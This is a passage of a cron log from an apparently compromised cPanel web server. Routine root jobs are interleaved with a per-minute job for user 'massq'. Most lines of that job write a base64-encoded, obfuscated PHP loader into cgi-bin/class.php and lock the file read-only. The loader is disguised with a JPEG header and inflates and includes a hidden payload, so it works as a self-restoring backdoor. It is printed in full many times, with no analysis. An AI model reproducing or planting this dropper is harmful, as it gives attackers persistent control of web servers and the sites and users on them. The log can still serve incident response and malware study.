bXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:39:01 server CROND[25131]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 15:39:01 server CROND[25132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:40:01 server CROND[25192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:40:01 server CROND[25193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 15:40:01 server CROND[25194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:40:01 server CROND[25195]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:41:01 server CROND[25308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:42:01 server CROND[25368]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 15:42:01 server CROND[25369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:43:01 server CROND[25423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:44:01 server CROND[25568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:45:01 server CROND[25622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:45:01 server CROND[25623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:45:01 server CROND[25624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:46:01 server CROND[25752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:47:01 server CROND[25807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:48:01 server CROND[25853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:49:01 server CROND[26016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:50:01 server CROND[26093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 15:50:01 server CROND[26094]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 15:50:01 server CROND[26098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:50:01 server CROND[26099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:50:01 server CROND[26100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:51:01 server CROND[26214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:52:01 server CROND[26266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 